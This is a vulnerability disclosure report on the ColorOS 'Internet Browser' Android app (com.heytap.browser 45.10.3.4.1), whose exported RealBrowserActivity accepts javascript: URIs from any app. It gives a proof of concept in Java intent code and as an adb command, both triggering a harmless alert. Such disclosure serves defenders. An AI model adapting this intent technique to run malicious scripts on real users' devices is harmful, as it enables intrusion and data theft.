Vulnerability Report

Overview:

A vulnerability has been discovered in the com.heytap.browser application on the Android platform. The vulnerability allows an attacker to execute arbitrary JavsScript code within the context of the application without any permissions.

Application Details:

• Vendor: - ColorOS
• Application Name: 'Internet Browser' com.heytap.browser
• Version: 45.10.3.4.1
• Component: com.android.browser.RealBrowserActivity

Vulnerability Details:

• Vulnerability Type: JavaScript Code Execution
• Attack Vector: Via an exported activity component
• Permissions Required: None

Description:

The com.android.browser.RealBrowserActivity activity in the com.heytap.browser app is exported and can be invoked by any third-party application without requiring any permissions. A malicious app can exploit this to execute arbitrary JavaScript code within the context of the `com.heytap.browser`` application.

Proof of Concept (PoC):

{
        super.onCreate(savedInstanceState);

        String javaScriptCommand = "javascript:alert%28%27Test%20Alert%27%29%3B";

        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse(javaScriptCommand));
        intent.setClassName("com.heytap.browser", "com.android.browser.RealBrowserActivity");

        startActivity(intent);

        finish();
    }

adb shell am start -a android.intent.action.VIEW -d "javascript:alert%28%27Test%20Alert%27%29%3B" -n com.heytap.browser/com.android.browser.RealBrowserActivity

Impact:

Successful exploitation allows an attacker to:

• Execute arbitrary JavaScript code within the context of the com.heytap.browser app.